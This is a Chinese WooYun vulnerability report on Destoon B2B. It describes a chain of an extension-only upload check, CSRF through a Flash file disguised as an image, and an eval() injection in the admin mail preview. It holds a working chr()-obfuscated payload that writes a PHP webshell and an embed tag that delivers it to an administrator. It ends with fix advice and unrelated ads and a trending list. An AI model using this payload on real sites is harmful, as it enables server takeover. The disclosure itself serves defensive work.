Destoon B2B csrf getshell
- 发布时间: 2014-05-27
- 公开时间: 2014-08-25
- 漏洞类型: csrf
- 危害等级: 中
- 漏洞编号: WooYun-2014-62435
- 测试版本:2014-05-21
简要描述
上传问题+csrf+后台任意命令执行 = csrf getshell详细说明
先说上传问题,自带的fck编辑器没有验证上传图片的合法性,只判断了后缀名。 可以通过上传一个.jpg后缀的swf来进行csrf 然后是后台命令执行 /member/admin/sendmail.inc.php 行151default:
if(isset($send)) {
if(isset($preview) && $preview) {
$content = stripslashes($content);
if($template) {
if($sendtype == 2) {
$emails = explode("\n", $emails);
$email = trim($emails[0]);
} else if($sendtype == 3) {
$emails = explode("\n", file_get(DT_ROOT.'/file/email/'.$mail));
$email = trim($emails[0]);
}
$user = _userinfo($fields, $email);
eval("\$title = \"$title\";"); //eval()+双引号 +可控的$title 妥妥的任意命令执行
$content = ob_template($template, 'mail');
}
echo '<br/><strong>邮件标题:</strong>'.$title.'<br/><br/>';
echo '<strong>邮件正文:</strong><br/><br/>';
echo $content;
exit;
}
漏洞证明
首先把请求抓出来 精简参数 得到命令执行的最简参数如下moduleid=2
file=sendmail
send=1
preview=1
template=1
title='执行点'
由于是post提交 会触发全局变量检查,所以这里不能使用单引号双引号等,构造POC如下
{${assert(chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(39).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(92).chr(39).chr(120).chr(92).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62).chr(39).chr(41).@chr(59))}}
下面来制作一个csrf的swf
注册一个普通用户 登录会员中心给admin发送一个站内信,内容为
<embed src="**.**.**.**/file/upload/201405/26/22-00-20-27-3.jpg" allowScriptAccess="always" type="application/x-shockwave-flash"></embed>
管理员登录后台首页会提示有新的站内信(太体贴了)
打开站内信即在web根目录生成1.php一句话 密码x
修复方案
- 命令执行 非必要别用双引号
- csrf 后台操作需要加token验referer
- 上传文件不光要检查后缀,文件内容也要查
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 准确把握守正创新的辩证关系 7944249
- 2 中国黄金原董事长家搜出大量黄金 7965270
- 3 空调英文不会男生盯着考场空调看 7840397
- 4 消费品以旧换新“加速度” 7720443
- 5 被铁路售票员的手速惊到了 7664677
- 6 网红赤木刚宪爆改赵露思 7511750
- 7 县委原书记大搞“刷白墙”被通报 7441849
- 8 山姆代购在厕所分装蛋糕 7383208
- 9 马龙刘诗雯穿正装打混双 7299132
- 10 刘强东提前发年终奖 7161408